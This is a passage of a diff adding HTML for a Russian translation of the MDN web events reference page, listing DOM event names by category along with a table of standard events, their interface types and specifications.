+<p>{{Event("change")}} (see {{anch("Non-standard events")}})<br>
+ {{Event("storage")}}</p>
+
+<h3 id="События_обновления">События обновления</h3>
+
+<p>{{Event("checking")}}<br>
+ {{Event("downloading")}}<br>
+ {{Event("error")}}<br>
+ {{Event("noupdate")}}<br>
+ {{Event("obsolete")}}<br>
+ {{Event("updateready")}}</p>
+
+<h3 id="События_изменения_значений">События изменения значений</h3>
+
+<p>{{Event("broadcast")}}<br>
+ {{Event("CheckboxStateChange")}}<br>
+ {{Event("hashchange")}}<br>
+ {{Event("input")}}<br>
+ {{Event("RadioStateChange")}}<br>
+ {{Event("readystatechange")}}<br>
+ {{Event("ValueChange")}}</p>
+
+<h3 id="События_без_категорий"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>События без категорий</span></span></span></h3>
+
+<p>{{Event("invalid")}}<br>
+ <code><a href="/en-US/docs/Web/API/DedicatedWorkerGlobalScope/message_event">message</a></code><br>
+ <code><a href="/en-US/docs/Web/API/EventSource/message_event">message</a></code><br>
+ <code><a href="/en-US/docs/Web/API/EventSource/open_event">open</a></code><br>
+ <code><a href="/en-US/docs/Web/API/Element/show_event">show</a></code></p>
+
+<h2 id="Менее_распространенные_и_нестандартные_события">Менее распространенные и нестандартные события</h2>
+
+<h3 id="Abortable_Fetch_события">Abortable Fetch события</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/API/AbortSignal/abort_event">abort</a></code></td>
+   <td>A DOM request is aborted, i.e. using {{DOMxRef("AbortController.abort()")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="События_веб_виртуальной_реальности_WebVR">События веб виртуальной реальности (WebVR)</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Происходит когда</th>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplayactivate")}}</td>
+   <td>When a VR display is able to be presented to, for example if an HMD has been moved to bring it out of standby, or woken up by being put on.</td>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplayblur")}}</td>
+   <td>when presentation to a {{DOMxRef("VRDisplay")}} has been paused for some reason by the browser, OS, or VR hardware — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.</td>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplayconnect")}}</td>
+   <td>when a compatible {{DOMxRef("VRDisplay")}} is connected to the computer.</td>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplaydeactivate")}}</td>
+   <td>When a {{DOMxRef("VRDisplay")}} can no longer be presented to, for example if an HMD has gone into standby or sleep mode due to a period of inactivity.</td>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplaydisconnect")}}</td>
+   <td>When a compatible {{DOMxRef("VRDisplay")}} is disconnected from the computer.</td>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplayfocus")}}</td>
+   <td>When presentation to a {{DOMxRef("VRDisplay")}} has resumed after being blurred.</td>
+  </tr>
+  <tr>
+   <td>{{Event("vrdisplaypresentchange")}}</td>
+   <td>The presenting state of a {{DOMxRef("VRDisplay")}} changes — i.e. goes from presenting to not presenting, or vice versa.</td>
+  </tr>
+ </thead>
+</table>
+
+<h3 id="SVG_события">SVG события</h3>
+
+<p>{{Event("SVGAbort")}}<br>
+ {{Event("SVGError")}}<br>
+ {{Event("SVGLoad")}}<br>
+ {{Event("SVGResize")}}<br>
+ {{Event("SVGScroll")}}<br>
+ {{Event("SVGUnload")}}<br>
+ {{Event("SVGZoom")}}</p>
+
+<h3 id="События_базы_данных">События базы данных</h3>
+
+<p><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code><br>
+ {{Event("error")}}<br>
+ <code><a href="/en-US/docs/Web/Reference/Events/success_indexedDB">success</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/upgradeneeded_indexedDB">upgradeneeded</a></code><br>
+ <code><a href="/en-US/docs/Web/Reference/Events/versionchange_indexedDB">versionchange</a></code></p>
+
+<h3 id="События_скриптов">События скриптов</h3>
+
+<p>{{Event("afterscriptexecute")}}<br>
+ {{Event("beforescriptexecute")}}</p>
+
+<h3 id="События_меню">События меню</h3>
+
+<p>{{Event("DOMMenuItemActive")}}<br>
+ {{Event("DOMMenuItemInactive")}}</p>
+
+<h3 id="События_окон">События окон</h3>
+
+<p><code><a href="/en-US/docs/Mozilla/Tech/XUL/Events/close_event">close</a></code></p>
+
+<h3 id="Popup_события">Popup события</h3>
+
+<p>{{Event("popuphidden")}}<br>
+ {{Event("popuphiding")}}<br>
+ {{Event("popupshowing")}}<br>
+ {{Event("popupshown")}}</p>
+
+<h3 id="События_вкладок">События вкладок</h3>
+
+<p>{{Event("visibilitychange")}}</p>
+
+<ul>
+</ul>
+
+<h3 id="События_батареи">События батареи</h3>
+
+<p>{{Event("chargingchange")}}<br>
+ {{Event("chargingtimechange")}}<br>
+ {{Event("dischargingtimechange")}}<br>
+ {{Event("levelchange")}}</p>
+
+<h3 id="События_вызовов">События вызовов</h3>
+
+<p>{{Event("alerting")}}<br>
+ {{Event("busy")}}<br>
+ {{Event("callschanged")}}<br>
+ {{Event("cfstatechange")}}<br>
+ {{Event("connected")}}<br>
+ {{Event("connecting")}}<br>
+ {{Event("dialing")}}<br>
+ {{Event("disconnected")}}<br>
+ {{Event("disconnecting")}}<br>
+ {{Event("error_(Telephony)","error")}}<br>
+ {{Event("held")}}, {{Event("holding")}}<br>
+ {{Event("incoming")}}<br>
+ {{Event("resuming")}}<br>
+ {{Event("statechange")}}<br>
+ {{Event("voicechange")}}</p>
+
+<h3 id="Сенсорные_события">Сенсорные события</h3>
+
+<p>{{Event("compassneedscalibration")}}<br>
+ {{Event("devicemotion")}}<br>
+ {{Event("deviceorientation")}}<br>
+ {{Event("orientationchange")}}</p>
+
+<h3 id="Smartcard_события">Smartcard события</h3>
+
+<p>{{Event("icccardlockerror")}}<br>
+ {{Event("iccinfochange")}}<br>
+ {{Event("smartcard-insert")}}<br>
+ {{Event("smartcard-remove")}}<br>
+ {{Event("stkcommand")}}<br>
+ {{Event("stksessionend")}}<br>
+ {{Event("cardstatechange")}}</p>
+
+<h3 id="SMS_и_USSD_события">SMS и USSD события</h3>
+
+<p>{{Event("delivered")}}<br>
+ {{Event("received")}}<br>
+ {{Event("sent")}}<br>
+ {{Event("ussdreceived")}}</p>
+
+<h3 id="Frame_события">Frame события</h3>
+
+<p>{{Event("mozbrowserclose")}}<br>
+ {{Event("mozbrowsercontextmenu")}}<br>
+ {{Event("mozbrowsererror")}}<br>
+ {{Event("mozbrowsericonchange")}}<br>
+ {{Event("mozbrowserlocationchange")}}<br>
+ {{Event("mozbrowserloadend")}}<br>
+ {{Event("mozbrowserloadstart")}}<br>
+ {{Event("mozbrowseropenwindow")}}<br>
+ {{Event("mozbrowsersecuritychange")}}<br>
+ {{Event("mozbrowsershowmodalprompt")}}<br>
+ {{Event("mozbrowsertitlechange")}}</p>
+
+<h3 id="События_изменения_DOM"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>События изменения DOM</span></span></span></h3>
+
+<p><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code><br>
+ {{Event("DOMContentLoaded")}}<br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code><br>
+ <code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code></p>
+
+<h3 id="События_касаний">События касаний</h3>
+
+<p>{{Event("touchcancel")}}<br>
+ {{Event("touchend")}}<br>
+ {{Event("touchmove")}}<br>
+ {{Event("touchstart")}}</p>
+
+<h3 id="События_указателя">События указателя</h3>
+
+<p>{{Event("pointerover")}}<br>
+ {{Event("pointerenter")}}<br>
+ {{Event("pointerdown")}}<br>
+ {{Event("pointermove")}}<br>
+ {{Event("pointerup")}}<br>
+ {{Event("pointercancel")}}<br>
+ {{Event("pointerout")}}<br>
+ {{Event("pointerleave")}}<br>
+ {{Event("gotpointercapture")}}<br>
+ {{Event("lostpointercapture")}}</p>
+
+<h2 id="Стандартные_события">Стандартные события</h2>
+
+<p>Эти события определены в официальных веб-спецификациях и должны быть общими для всех браузеров. Каждое событие перечисляется вместе с интерфейсом, представляющим объект, отправленный получателям события (так что вы можете найти информацию о том, какие данные предоставляются с каждым событием), а также ссылку на спецификацию или спецификации, которые определяют событие.</p>
+
+<div style="overflow: auto;">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя события</th>
+   <th scope="col">Тип события</th>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Происходит когда...</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{Event("abort")}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-abort" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The loading of a resource has been aborted.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/abort_(ProgressEvent)">abort</a></code></td>
+   <td>{{DOMxRef("ProgressEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/progress-events/">Progress</a> and <a href="http://www.w3.org/TR/XMLHttpRequest/#event-xhr-abort">XMLHttpRequest</a></td>
+   <td>Progression has been terminated (not due to an error).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/abort_indexedDB">abort</a></code></td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#database-interface">IndexedDB</a></td>
+   <td>A transaction has been aborted.</td>
+  </tr>
+  <tr>
+   <td>{{Event("afterprint")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+   <td>The associated document has started printing or the print preview has been closed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("animationcancel")}}</td>
+   <td>{{DOMxRef("AnimationEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/css3-animations/#animation-events" style="white-space: nowrap;">CSS Animations</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> has aborted.</td>
+  </tr>
+  <tr>
+   <td>{{Event("animationend")}}</td>
+   <td>{{DOMxRef("AnimationEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/css3-animations/#animation-events" style="white-space: nowrap;">CSS Animations</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> has completed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("animationiteration")}}</td>
+   <td>{{DOMxRef("AnimationEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/css3-animations/#animation-events" style="white-space: nowrap;">CSS Animations</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> is repeated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("animationstart")}}</td>
+   <td>{{DOMxRef("AnimationEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/css3-animations/#animation-events" style="white-space: nowrap;">CSS Animations</a></td>
+   <td>A <a href="/en-US/docs/CSS/CSS_animations">CSS animation</a> has started.</td>
+  </tr>
+  <tr>
+   <td>{{Event("appinstalled")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="/en-US/docs/Web/Manifest" style="white-space: nowrap;">Web App Manifest</a></td>
+   <td>A web application is successfully installed as a <a href="/en-US/Apps/Progressive">progressive web app</a>.</td>
+  </tr>
+  <tr>
+   <td>{{Event("audioprocess")}}</td>
+   <td>{{DOMxRef("AudioProcessingEvent")}} {{Deprecated_Inline}}</td>
+   <td>{{SpecName('Web Audio API', '#AudioProcessingEvent', 'audioprocess')}}</td>
+   <td>The input buffer of a {{DOMxRef("ScriptProcessorNode")}} is ready to be processed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("audioend")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The user agent has finished capturing audio for speech recognition.</td>
+  </tr>
+  <tr>
+   <td>{{Event("audiostart")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The user agent has started to capture audio for speech recognition.</td>
+  </tr>
+  <tr>
+   <td>{{Event("beforeprint")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/html5/webappapis.html#printing">HTML5</a></td>
+   <td>The associated document is about to be printed or previewed for printing.</td>
+  </tr>
+  <tr>
+   <td>{{Event("beforeunload")}}</td>
+   <td>{{DOMxRef("BeforeUnloadEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/html5/browsers.html#unloading-documents">HTML5</a></td>
+   <td>The window, the document and its resources are about to be unloaded.</td>
+  </tr>
+  <tr>
+   <td>{{Event("beginEvent")}}</td>
+   <td>{{DOMxRef("TimeEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/SVG/interact.html#SVGEvents">SVG</a></td>
+   <td>A <a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SMIL</a> animation element begins.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/blocked_indexedDB">blocked</a></code></td>
+   <td></td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#request-api">IndexedDB</a></td>
+   <td>An open connection to a database is blocking a <code>versionchange</code> transaction on the same database.</td>
+  </tr>
+  <tr>
+   <td>{{Event("blur")}}</td>
+   <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-blur" style="white-space: nowrap;">DOM L3</a></td>
+   <td>An element has lost focus (does not bubble).</td>
+  </tr>
+  <tr>
+   <td>{{Event("boundary")}} {{Experimental_Inline}}</td>
+   <td>{{DOMxRef("SpeechSynthesisEvent")}}</td>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>The spoken utterance reaches a word or sentence boundary</td>
+  </tr>
+  <tr>
+   <td>{{Event("canplay")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplay" style="white-space: nowrap;">HTML5 media</a></td>
+   <td>The user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.</td>
+  </tr>
+  <tr>
+   <td>{{Event("canplaythrough")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-canplaythrough" style="white-space: nowrap;">HTML5 media</a></td>
+   <td>The user agent can play the media up to its end without having to stop for further buffering of content.</td>
+  </tr>
+  <tr>
+   <td>{{Event("change")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">DOM L2</a>, <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#event-input-change">HTML5</a></td>
+   <td>The <code>change</code> event is fired for {{HTMLElement("input")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}} elements when a change to the element's value is committed by the user.</td>
+  </tr>
+  <tr>
+   <td>{{Event("chargingchange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html" style="white-space: nowrap;">Battery status</a></td>
+   <td>The battery begins or stops charging.</td>
+  </tr>
+  <tr>
+   <td>{{Event("chargingtimechange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html" style="white-space: nowrap;">Battery status</a></td>
+   <td>The <code>chargingTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("click")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-click" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device button has been pressed and released on an element.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/close_websocket">close</a></code></td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.w3.org/TR/websockets/">WebSocket</a></td>
+   <td>A WebSocket connection has been closed.</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/Web/Reference/Events/complete_indexedDB">complete</a></code></td>
+   <td></td>
+   <td><a href="http://www.w3.org/TR/IndexedDB/#transaction">IndexedDB</a></td>
+   <td>A transaction successfully completed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("complete")}}</td>
+   <td>{{DOMxRef("OfflineAudioCompletionEvent")}} {{Deprecated_Inline}}</td>
+   <td>{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}</td>
+   <td>The rendering of an {{DOMxRef("OfflineAudioContext")}} is terminated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("compositionend")}}</td>
+   <td>{{DOMxRef("CompositionEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionend" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The composition of a passage of text has been completed or canceled.</td>
+  </tr>
+  <tr>
+   <td>{{Event("compositionstart")}}</td>
+   <td>{{DOMxRef("CompositionEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionstart" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).</td>
+  </tr>
+  <tr>
+   <td>{{Event("compositionupdate")}}</td>
+   <td>{{DOMxRef("CompositionEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-compositionupdate" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A character is added to a passage of text being composed.</td>
+  </tr>
+  <tr>
+   <td>{{Event("contextmenu")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="https://html.spec.whatwg.org/multipage/forms.html#context-menus">HTML5</a></td>
+   <td>The right button of the mouse is clicked (before the context menu is displayed).</td>
+  </tr>
+  <tr>
+   <td>{{Event("copy")}}</td>
+   <td>{{DOMxRef("ClipboardEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/clipboard-apis/#copy-event">Clipboard</a></td>
+   <td>The text selection has been added to the clipboard.</td>
+  </tr>
+  <tr>
+   <td>{{Event("cut")}}</td>
+   <td>{{DOMxRef("ClipboardEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/clipboard-apis/#cut-event">Clipboard</a></td>
+   <td>The text selection has been removed from the document and added to the clipboard.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dblclick")}}</td>
+   <td>{{DOMxRef("MouseEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-dblclick" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A pointing device button is clicked twice on an element.</td>
+  </tr>
+  <tr>
+   <td>{{Event("devicechange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td>{{SpecName("Media Capture")}}</td>
+   <td>A media device such as a camera, microphone, or speaker is connected or removed from the system.</td>
+  </tr>
+  <tr>
+   <td>{{Event("devicemotion")}}</td>
+   <td>{{DOMxRef("DeviceMotionEvent")}} {{Experimental_Inline}}</td>
+   <td><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
+   <td>Fresh data is available from a motion sensor.</td>
+  </tr>
+  <tr>
+   <td>{{Event("deviceorientation")}}</td>
+   <td>{{DOMxRef("DeviceOrientationEvent")}} {{Experimental_Inline}}</td>
+   <td><a class="external" href="http://dev.w3.org/geo/api/spec-source-orientation.html" lang="en" title="The 'Device Orientation Events' specification">Device Orientation Events</a></td>
+   <td>Fresh data is available from an orientation sensor.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dischargingtimechange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="https://dvcs.w3.org/hg/dap/raw-file/tip/battery/Overview.html">Battery status</a></td>
+   <td>The <code>dischargingTime</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td><code>DOMActivate</code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("UIEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMActivate" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A button, link or state changing element is activated (use {{Event("click")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttributeNameChanged</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationNameEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMAttributeNameChanged" style="white-space: nowrap;">DOM L3</a> Removed</td>
+   <td>The name of an attribute changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMAttrModified</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMAttrModified" style="white-space: nowrap;">DOM L3</a></td>
+   <td>The value of an attribute has been modified (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMCharacterDataModified</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMCharacterDataModified" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A text or another <a href="/en-US/docs/DOM/CharacterData">CharacterData</a> has changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td>{{Event("DOMContentLoaded")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-end.html#the-end">HTML5</a></td>
+   <td>The document has finished loading (but not its dependent resources).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMElementNameChanged</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationNameEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/2011/WD-DOM-Level-3-Events-20110531/#event-type-DOMElementNameChanged" style="white-space: nowrap;">DOM L3</a> Removed</td>
+   <td>The name of an element changed (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code>DOMFocusIn</code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusIn" style="white-space: nowrap;">DOM L3</a></td>
+   <td>An element has received focus (use {{Event("focus")}} or {{Event("focusin")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code>DOMFocusOut</code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("FocusEvent")}} {{Experimental_Inline}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMFocusOut" style="white-space: nowrap;">DOM L3</a></td>
+   <td>An element has lost focus (use {{Event("blur")}} or {{Event("focusout")}} instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInserted</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInserted" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A node has been added as a child of another node (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeInsertedIntoDocument</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeInsertedIntoDocument" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A node has been inserted into the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemoved</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemoved" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A node has been removed from its parent node (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMNodeRemovedFromDocument</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMNodeRemovedFromDocument" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A node has been removed from the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td><code><a href="/en-US/docs/DOM/Mutation_events">DOMSubtreeModified</a></code> {{Deprecated_Inline}}</td>
+   <td>{{DOMxRef("MutationEvent")}}</td>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-DOMSubtreeModified" style="white-space: nowrap;">DOM L3</a></td>
+   <td>A change happened in the document (use <a href="/en-US/docs/DOM/MutationObserver">mutation observers</a> instead).</td>
+  </tr>
+  <tr>
+   <td>{{Event("drag")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drag">HTML5</a></td>
+   <td>An element or text selection is being dragged (every 350ms).</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragend")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragend">HTML5</a></td>
+   <td>A drag operation is being ended (by releasing a mouse button or hitting the escape key).</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragenter")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragenter">HTML5</a></td>
+   <td>A dragged element or text selection enters a valid drop target.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragleave")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragleave">HTML5</a></td>
+   <td>A dragged element or text selection leaves a valid drop target.</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragover")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragover">HTML5</a></td>
+   <td>An element or text selection is being dragged over a valid drop target (every 350ms).</td>
+  </tr>
+  <tr>
+   <td>{{Event("dragstart")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-dragstart">HTML5</a></td>
+   <td>The user starts dragging an element or text selection.</td>
+  </tr>
+  <tr>
+   <td>{{Event("drop")}}</td>
+   <td>{{DOMxRef("DragEvent")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#event-drop">HTML5</a></td>
+   <td>An element is dropped on a valid drop target.</td>
+  </tr>
+  <tr>
+   <td>{{Event("durationchange")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-durationchange">HTML5 media</a></td>
+   <td>The <code>duration</code> attribute has been updated.</td>
+  </tr>
+  <tr>
+   <td>{{Event("emptied")}}</td>
+   <td>{{DOMxRef("Event")}}</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/the-video-element.html#event-media-emptied">HTML5 media</a></td>
